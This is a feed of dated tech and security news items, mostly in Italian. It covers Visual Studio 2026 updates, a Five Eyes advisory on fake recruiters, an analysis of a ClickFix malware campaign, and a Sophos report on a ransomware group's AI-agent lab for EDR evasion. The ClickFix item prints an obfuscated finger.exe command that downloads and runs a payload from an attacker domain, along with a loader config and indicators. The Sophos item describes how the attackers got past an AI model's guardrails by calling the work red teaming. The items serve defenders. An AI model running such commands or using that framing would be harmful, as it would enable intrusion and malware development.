L’agente gestisce anche scenari più circoscritti come:

• Migrazione da Newtonsoft.Json a System.Text.Json.
• Aggiornamento di Microsoft.Data.SqlClient.
• Upgrade da Semantic Kernel al nuovo Microsoft Agent Framework.

Pre-build error checking in Visual Studio 2026

Parallelamente all’agente di modernizzazione, Visual Studio 2026 introduce una funzionalità di pre-build error checking: Visual Studio identifica errori e warning prima ancora che la build venga avviata, riducendo il ciclo di feedback per lo sviluppatore. La combinazione di questa funzionalità con l’agente di modernizzazione — che itera sugli errori di compilazione in autonomia — crea un loop di sviluppo più rapido e meno dipendente dal tempo di compilazione completa.

AI-assisted merge conflict resolution

Un’altra novità annunciata a Build 2026 per Visual Studio è il supporto all’AI-assisted conflict resolution: GitHub Copilot partecipa attivamente alla risoluzione dei merge conflict, aiutando lo sviluppatore a comprendere la natura del conflitto e suggerendo la risoluzione più appropriata in base al contesto del codice. Non sostituisce la decisione umana — il developer mantiene il controllo finale — ma riduce significativamente il tempo necessario per analizzare conflitti complessi in codebase di grandi dimensioni.

Come iniziare

Per usare GitHub Copilot App Modernization è necessario:

1. Avere Visual Studio 2026 (o Visual Studio 2022 17.14.17+) con l’estensione GitHub Copilot installata.
2. Una sottoscrizione GitHub Copilot attiva (Business o Enterprise per i team).
3. Aprire la solution da migrare e avviare una chat con Copilot descrivendo il tipo di migrazione desiderata.

La documentazione ufficiale è disponibile su Microsoft Learn nella sezione GitHub Copilot modernization overview.

Considerazioni pratiche per team enterprise

La deprecazione del .NET Upgrade Assistant può sorprendere chi lo usa in pipeline CI/CD per automatizzare migrazioni. È importante notare che l’agente Copilot è uno strumento interattivo, pensato per lavorare con uno sviluppatore nel loop: non è un tool da riga di comando eseguibile in modo completamente non presidiato. Per le pipeline di migrazione automatizzate, almeno nella fase attuale, sarà necessario valutare approcci ibridi.

Sul fronte dei costi, l’agente usa il credito Copilot come qualsiasi altra funzionalità AI: le sessioni di modernizzazione complesse, che coinvolgono molte iterazioni di analisi e correzione, possono consumare una quantità significativa di token. Vale la pena fare un test su un progetto pilota prima di pianificare la migrazione di una solution enterprise complessa.

Conclusione

Il passaggio dal .NET Upgrade Assistant a GitHub Copilot App Modernization segna la maturità dell’approccio AI-first nella gestione del debito tecnico. Un agente che legge il codice, comprende il contesto, esegue le modifiche e itera sugli errori di compilazione in autonomia è concettualmente diverso da qualsiasi tool rule-based precedente. Per i team che gestiscono applicazioni .NET Framework legacy, vale la pena esplorare questo strumento — soprattutto per scenari come la migrazione Web Forms verso Blazor e l’integrazione di Aspire, che storicamente richiedevano sforzi manuali considerevoli.

Fonti: Visual Studio Microsoft Build 2026 Announcements | GitHub Copilot App Modernization — Microsoft Learn

What's Coming Next in Visual Studio: Our Microsoft Build 2026 Announcements - Visual Studio Blog

Microsoft Build kicks off today in San Francisco, June 2 and 3. If you cannot make it in person, the sessions are streaming online for free, and I want to

^{Mads Kristensen (Visual Studio Blog)}

(in)sicurezza digitale

2026-06-05 18:09:55

Spie cinesi su LinkedIn: il Five Eyes documenta le campagne di recruiters falsi dell’intelligence militare di Pechino

Le agenzie di intelligence dei cinque paesi alleati — FBI (USA), MI5 (UK), ASIO (Australia), CSIS (Canada) e NZSIS (Nuova Zelanda) — hanno emesso un alert congiunto che documenta come ufficiali dell’intelligence militare cinese si fingano recruiter professionisti su LinkedIn, Indeed e Upwork per sottrarre informazioni classificate a personale governativo, militare e della difesa. La minaccia non è nuova, ma la scala e la sofisticazione raggiunte nel 2026 rendono questo advisory un documento imprescindibile per chi opera nella sicurezza nazionale e nella protezione delle informazioni.

Il modus operandi: dal curriculum all’intelligence

Il pattern operativo identificato dal Five Eyes è elegante nella sua semplicità. Gli ufficiali dell’intelligence cinese — appartenenti ai Military Intelligence Services di Pechino — creano profili verosimili su piattaforme di recruiting professionale, impersonando think tank, società di consulenza private e agenzie HR specializzate in analisi geopolitica e difesa.

I profili di lavoro pubblicati riguardano tipicamente posizioni come “analista di politica estera”, “esperto di difesa per la regione Indo-Pacifica” o “ricercatore senior di relazioni bilaterali”. Il target non è casuale: i candidati vengono classificati in base al potenziale accesso a informazioni sensibili, attraverso l’analisi dei curriculum ricevuti. Chi detiene security clearance, lavora in agenzie governative o ha contatti con strutture militari sale automaticamente in cima alla lista degli obiettivi. L’advisory specifica che le piattaforme utilizzate includono LinkedIn, Indeed e Upwork, e che i candidati vengono anche contattati direttamente in base alla rilevanza dei loro profili pubblici.

La trappola del “trial report”

Una volta identificato il candidato di interesse, il processo si articola in fasi successive che servono a costruire fiducia e normalizzare richieste di informazioni progressivamente più sensibili. I selezionatori organizzano colloqui virtuali durante i quali nascondono la propria identità reale, sondando le conoscenze dell’interlocutore e il suo accesso a personale e risorse governative.

Il punto critico è il cosiddetto “trial report”: ai candidati viene chiesto di scrivere un saggio di prova su temi come le relazioni bilaterali della Cina, la situazione nell’Indo-Pacifico o questioni di commercio internazionale e difesa. Accettato il primo elaborato, le richieste successive si fanno progressivamente più intrusive: ai candidati viene comunicato che i report “devono includere informazioni più privilegiate” per ricevere compensi più elevati.

A questo punto la comunicazione viene spostata su piattaforme di messaggistica cifrata. I compensi variano da qualche centinaio a diverse migliaia di dollari per report, pagati attraverso canali difficilmente tracciabili: PayPal, Payoneer, Zelle, Skrill, Wise, Western Union, e-transfer e criptovalute. I pagamenti vengono spesso effettuati da account di terze parti estranee al processo di recruiting — una classica tecnica di compartimentazione operativa che complica la tracciabilità e la raccolta di prove.

Il valore strategico dell’informazione non classificata

Uno degli aspetti più significativi dell’advisory è l’enfasi sul valore dell’informazione non classificata. Il Five Eyes avverte esplicitamente che “anche le informazioni non classificate fornite dai candidati vengono probabilmente raccolte e combinate con dati più sensibili”. Questa prospettiva sfida il tradizionale approccio alla sicurezza delle informazioni, che tende a concentrarsi esclusivamente sulla protezione dei materiali classificati.

Steve Povolny di Exabeam ha commentato l’alert sottolineando come queste piattaforme stiano diventando veri e propri “ambienti di raccolta intelligence” che consentono a operatori stranieri di reclutare individui senza mai alzarsi dalla scrivania: “La minaccia insider non è più confinata ai dipendenti che rubano intenzionalmente segreti. Gli avversari prendono di mira l’intero ecosistema che circonda le informazioni sensibili — appaltatori, ex funzionari governativi, accademici, ricercatori, giornalisti ed esperti di settore che possono possedere solo frammenti di conoscenza preziosa, ma che una volta aggregati diventano intelligence operativa di valore strategico.”

Contesto storico: una tecnica scalabile e difficile da contrastare

L’uso di false opportunità lavorative come vettore di spionaggio è documentato da anni in diversi threat actor state-sponsored. Il FBI ha già messo in guardia contro operazioni analoghe attribuite alla Corea del Nord — celebri le campagne del Lazarus Group contro sviluppatori blockchain tramite finti colloqui tecnici — e all’Iran con Charming Kitten contro ricercatori nucleari e funzionari governativi. La specificità di questo advisory è l’attribuzione esplicita ai Military Intelligence Services cinesi e la documentazione di come le piattaforme di recruiting professionale siano diventate infrastrutture di raccolta intelligence sistematiche.

L’alert del 3 giugno 2026 — disponibile come PDF sul portale IC3 dell’FBI — è uno dei rari momenti in cui i cinque paesi del network di intelligence condividono pubblicamente dettagli operativi su campagne attive. La scelta di rendere pubblico l’advisory suggerisce che la portata e il ritmo di queste attività abbiano raggiunto una soglia tale da giustificare un’operazione di sensibilizzazione coordinata a livello internazionale.

Raccomandazioni operative per le organizzazioni

Il Five Eyes individua come segnali d’allarme primari gli approcci non sollecitati da recruiter per posizioni che richiedono analisi di tematiche geopolitiche sensibili, le richieste di spostare le comunicazioni su app di messaggistica cifrata, le richieste di produrre report che includano informazioni “privilegiate” o “interne”, e i pagamenti attraverso piattaforme terze o criptovalute da parti non direttamente coinvolte nel recruiting.

Per i responsabili della sicurezza organizzativa, l’advisory suggerisce di implementare programmi di sensibilizzazione specifici per i dipendenti con accesso a informazioni sensibili, con enfasi sul rischio rappresentato dalle piattaforme di networking professionale. La verifica dell’identità dei recruiter, la segnalazione degli approcci sospetti alle funzioni di sicurezza interne e il rispetto rigoroso delle politiche sull’uso dei social media professionali sono le contromisure fondamentali indicate.

Fonti: Five Eyes Joint Advisory — IC3/FBI, 3 giugno 2026 | SecurityWeek

Five Eyes: Chinese Spies Target Government, Military Staff With Fake Job Opportunities

Posing as recruiters on online platforms, Chinese intelligence officers target personnel with access to classified or privileged information.

^{Ionut Arghire (SecurityWeek)}

(in)sicurezza digitale

2026-06-05 18:10:35

ClickFix si mette in cerca di lavoro: falsi annunci LinkedIn e Indeed per distribuire CastleLoader e RAT Python

Il team CTI di LevelBlue SpiderLabs ha pubblicato un’analisi approfondita di una nuova variante della campagna ClickFix, comparsa in maggio 2026, che utilizza siti typosquattati impersonanti LinkedIn e Indeed per distribuire un framework MaaS denominato CastleLoader e un Remote Access Trojan (RAT) scritto in Python. La catena d’attacco combina l’abuso del protocollo Finger, esecuzione fileless tramite runtime Python portatili, cifratura ChaCha20/RC4 e comunicazioni C2 via WebSocket.

Vettore iniziale: falsi CAPTCHA su cloni di LinkedIn e Indeed

L’attacco inizia con URL di phishing su domini typosquattati che imitano LinkedIn e Indeed (linkedall[.]org, uslinked[.]org, linked-on[.]com, indeed-jobs[.]net). Le URL includono parametri Google Ads (gclid, gbraid, gad_campaignid), indicando distribuzione tramite ecosistemi di advertising. Un parametro custom &verification=robot è necessario affinché il server risponda con la catena ClickFix — probabilmente come misura anti-analisi.

La pagina di atterraggio mostra un finto CAPTCHA Cloudflare Turnstile. JavaScript embedded recupera il contenuto di secondo stadio da un endpoint PHP, applica ROT13 per decodificare la risposta, e inietta l’output nel DOM a runtime. Quando l’utente interagisce con il box CAPTCHA, un payload viene copiato nella clipboard tramite document.execCommand("copy").

Stage 3: il protocollo Finger come vettore LOLBin

L’elemento tecnico più rilevante di questa variante è l’abuso del protocollo Finger (porta 79) — un protocollo legacy degli anni ’70 che molti ambienti Windows mantengono abilitato per retrocompatibilità. Il comando copiato nella clipboard utilizza finger.exe, nativo di Windows, per recuperare il payload:

%COMSPEC% /c s^t^a^r^t "" /min for /f "skip=25 delims=" %e in ('f^^i^^n^^g^^e^^r wCeFgncRwB@f^^i^^n^^g^^e^^r^^.^^uslinked[.]org') do %e

Il comando è ulteriormente offuscato con caratteri caret (^) per eludere il pattern matching dei prodotti di sicurezza. Una volta eseguito dall’utente — che preme ENTER credendo di completare la verifica CAPTCHA — il sistema scarica ed esegue il payload successivo tramite strumenti di sistema legittimi (Living-off-the-Land), rendendo il processo quasi invisibile agli EDR che non monitorano le connessioni finger.exe in uscita.

Catena di staging: Python runtime portatili e curl hijacking

Il malware copia curl.exe di sistema con un filename randomizzato a 18 cifre sotto %LocalAppData%, scarica runtime Python portatili da python.org e GitHub (IronPython) salvandoli con estensione .pdf, e li estrae tramite tar.exe nativo. Il processo uccide e riavvia explorer.exe per disorientare l’utente. I runtime Python rinominati eseguono poi codice inline che decomprime un blob Base64+zlib e lancia il payload in memoria — fileless execution pura, senza file eseguibili su disco.

• CPython embedded: %LocalAppData%\python-3.15.0a1-embed-win32.pdf
• IronPython: %LocalAppData%\IronPython.3.4.2.pdf

CastleLoader: framework MaaS con cifratura ChaCha20

Il payload di quinto stadio è CastleLoader, un framework Malware-as-a-Service per deployment flessibile di malware downstream. I primi 64 byte del blob scaricato fungono da chiave RC4 per decriptare CastleLoader stesso. Esempio di configurazione decifrata:

URL:          hXXps://sedaliarealty[.]net/1ed3c2fc-f870-5522-a6bd-71c0a4d78ddd
campaign_id:  028aaf61-fef2-525a-9a95-7cd10db2e166
mutex_name:   DE6TZHGHlXfrbvmQdHxJIb035
chacha_key:   0x0DF4397FDB725731AE751503C0FEFDCDB5F2967286379F7D662C297D41F07A15
chacha_nonce: 0x17612E6D4D22AC64AB157E3C

Tutta la comunicazione C2 successiva è cifrata con ChaCha20. Il loader invia al server il profilo del sistema infetto (username, hostname, dominio, versione Windows, architettura, AV installati) e riceve task strutturati. Le capability configurabili includono: anti-VM tramite cpuid, screenshot desktop tramite GDI BitBlt, enumerazione AV via WMI (root\SecurityCenter2), elevazione privilegi con “runas”, watchdog che rilancia continuamente il processo figlio.

Payload finale: RAT Python con C2 WebSocket

Il payload finale è un RAT scritto in Python (bytecode .pyc) con C2 via WebSocket cifrato attraverso WinHTTP APIs. Il traffico C2 inbound è ulteriormente offuscato tramite XOR. Le funzionalità principali includono shell interattiva con relay stdin/stdout verso il C2, esecuzione in-memory di payload aggiuntivi, persistenza tramite mutex e watchdog con rilancio automatico, e raccolta approfondita di informazioni di sistema. I file di staging sono in directory caratteristiche sotto %ProgramData%: Ccrreewwll, NewKevinNotAnother, NewestWorkiNaprav.

Indicatori di compromissione (IoC)

# Domini phishing e C2
linkedall[.]org
uslinked[.]org
linked-on[.]com
indeed-jobs[.]net
kevinnotanother[.]com
sedaliarealty[.]net
catalyst-ltd[.]net
# Hash SHA-256
cd4a51037bf58733c0cb24b273951dd3fcea45a2aaeb8b30a3c625e183c4c0c7
d56b810dfacaa1630bf562ccdefd46835349710d9516334e1a182619335ddea7
# Endpoint UUID-based C2
95126aeb-4120-56b1-8c9e-63fdf0c0b6f9
ebd417db-979c-51f8-aedf-88a2bf8aa6c3
6d6d2d17-d270-59c6-8b75-df011af08e58
# Directory staging
C:\ProgramData\Ccrreewwll\
C:\ProgramData\NewKevinNotAnother\
C:\ProgramData\NewestWorkiNaprav\
# File Python bytecode
(main|install|play).pyc

Due righe per i difensori

Il blocco delle connessioni in uscita su porta 79 (Finger) è una misura difensiva immediata con impatto operativo quasi nullo. Sono ad alta fedeltà per la detection: processi Python con argomenti -c inline contenenti base64/zlib, copia di curl.exe in directory utente con nomi randomizzati numerici, creazione delle directory specifiche sotto %ProgramData%, e connessioni WebSocket verso domini recentemente registrati. Gli ambienti che bloccano l’esecuzione di runtime Python non firmati e limitano l’accesso a %LocalAppData% per applicazioni non autorizzate risultano significativamente più resilienti a questo vettore.

Fonte: LevelBlue SpiderLabs Blog — King Orande e Cris Tomboc, 4 giugno 2026

ClickFix Is Now Hiring: From Job Platform Impersonation to Python-Based RAT Delivery

The LevelBlue OpsIntel CTI team examined the latest version of the ClickFix campaign, which emerged in early May 2026.

^{King Orande and Cris Tomboc (Trustwave Holdings, Inc.)}

netzpolitik.org

2026-06-05 12:33:39

Mit einem Paket an Gesetzen will die EU-Kommission digital souveräner werden. Aber das positiv besetzte Label verschleiert eine knallharte Industrie-Agenda: Neue Rechenzentren sollen massig Energie verschlingen. Ein Kommentar.

netzpolitik.org/2026/rechenzen…

Stromfresser sollen uns souverän machen

^{Esther Menhard (netzpolitik.org)}

(in)sicurezza digitale

2026-06-05 05:34:10

Sophos scopre il laboratorio AI per testare l’evasione degli EDR: così il ransomware si evolve

Sophos ha scoperto che un gruppo ransomware attualmente attivo ha costruito un laboratorio automatizzato basato su agenti AI — tra cui Claude Opus 4.5 — per sviluppare e testare sistematicamente tecniche di evasione dagli endpoint detection and response (EDR). Non si tratta di fantascienza: l’infrastruttura era operativa, testava payload reali contro Sophos, CrowdStrike e Windows Defender, e i risultati venivano usati in attacchi reali contro organizzazioni globali.

Come è emersa la scoperta

L’indagine è partita da un alert anomalo su un endpoint cliente: payload malevoli provenivano da una directory di testing insolita. Approfondendo, i ricercatori di Sophos hanno trovato qualcosa di inaspettato — non solo malware, ma un intero framework di sviluppo e testing. L’ambiente conteneva profili Cobalt Strike configurati per mascherare il traffico beacon come richieste web legittime, un meccanismo di command-and-control via Telegram Bot API, script Python per l’iniezione di shellcode in processi Windows legittimi, e un Cloudflare Worker usato per nascondere il server C2 backend. Sophos ha collegato l’attività a operazioni di ransomware e furto di dati, ma non ha divulgato il nome del gruppo per via di indagini ancora in corso.

L’architettura del laboratorio: VM dedicate, agenti AI e MCP

Il nucleo dell’operazione era un laboratorio di test composto da più macchine virtuali Windows Server 2022, ognuna dedicata a un diverso prodotto EDR: una per Sophos, una per CrowdStrike, una terza come ambiente di controllo senza EDR installato. Una quarta VM Ubuntu ospitava un server Sliver per il command-and-control. L’attore ha utilizzato Ludus, una piattaforma per il deployment rapido di ambienti virtualizzati di sicurezza, per provisionare l’infrastruttura.

All’interno di questo ecosistema operavano più agenti AI coordinati tramite il protocollo Model Context Protocol (MCP), lo standard aperto che consente agli assistenti AI di interagire con strumenti e repository esterni. Un agente Claude Opus 4.5 fungeva da coordinatore principale, impostando le regole operative per gli altri agenti. Agenti specializzati si occupavano rispettivamente del testing EDR, della documentazione dei risultati, dell’hardening OPSEC, dei test di stress sul proxy e del deployment delle VM. Lo sviluppo del codice malevolo avveniva tramite Cursor, un IDE AI-native che integra capacità generative direttamente nell’ambiente di sviluppo.

Il workflow: da articoli di ricerca a payload ottimizzati

Il processo di sviluppo seguiva una pipeline iterativa ben strutturata. Gli agenti leggevano articoli di threat intelligence da blog di vendor come Kaspersky, Palo Alto Networks e Bishop Fox, oltre a post su X e Telegram. Le tecniche di bypass identificate venivano estratte, mappate sul framework MITRE ATT&CK, trasformate in moduli di test, eseguite nel laboratorio virtualizzato contro gli EDR target, e i risultati documentati per guidare l’iterazione successiva.

Il framework di generazione payload — uno strumento Python centrale — produceva eseguibili Windows personalizzati e DLL che incorporavano cifratura, tecniche di evasione e metodi di esecuzione alternativi. In totale, l’infrastruttura supportava quasi 80 moduli per testare oltre 70 tecniche di evasione distinte. Gli script Python erano in parte scritti in russo, e molti mostravano chiari pattern di generazione AI.

Un aspetto critico riguarda il pretesto usato con Claude: l’attore ha incorniciato il progetto come un framework di red team per eludere i guardrail del modello. Sophos ha segnalato il pattern ad Anthropic. “Tentativi di aggirare i limiti dei modelli usando framing benigno per prompt malevoli — come il pretesto del red team — sono stati osservati in numerosi casi negli ultimi dodici mesi,” ha dichiarato Rafe Pilling, Director of Threat Intelligence di Sophos.

Quanto è efficace davvero?

La documentazione interna al framework attestava un aumento progressivo del tasso di successo nell’evasione man mano che i moduli venivano raffinati. Tuttavia i dati di test effettivi analizzati durante l’indagine non supportavano queste affermazioni. “Non disponiamo dei dati per spiegare completamente le discrepanze, ma è probabile che le allucinazioni degli LLM abbiano avuto un ruolo,” ha concluso Pilling. Il risultato è paradossale: un laboratorio AI che produce documentazione ottimistica ma risultati meno convincenti di quanto dichiarato. Questo non riduce la pericolosità della tendenza, ma ne contestualizza i limiti attuali.

Due righe per i difensori

L’aspetto più preoccupante non è che l’AI abbia reso il ransomware invincibile — non è così, almeno per ora. Il problema è la scalabilità del processo di sviluppo: quello che richiedeva settimane di lavoro manuale per testare una singola tecnica di bypass può ora essere automatizzato in ore. I fondamentali della difesa restano invariati: patching, MFA/passkey, protezione degli endpoint. Ma l’accelerazione nel ciclo di sviluppo del malware significa che la finestra temporale tra la comparsa di una nuova tecnica di evasione e la sua adozione operativa da parte dei criminali si sta accorciando drasticamente.

Per i team di sicurezza, questa vicenda sottolinea l’importanza di monitorare attività anomale nelle directory di staging e testing, rilevare l’uso di tool di virtualizzazione come Ludus in ambienti non autorizzati, prestare attenzione all’abuso di strumenti di sviluppo AI-native per la generazione di codice sospetto, e verificare connessioni verso Telegram Bot API da endpoint aziendali come potenziale C2 channel.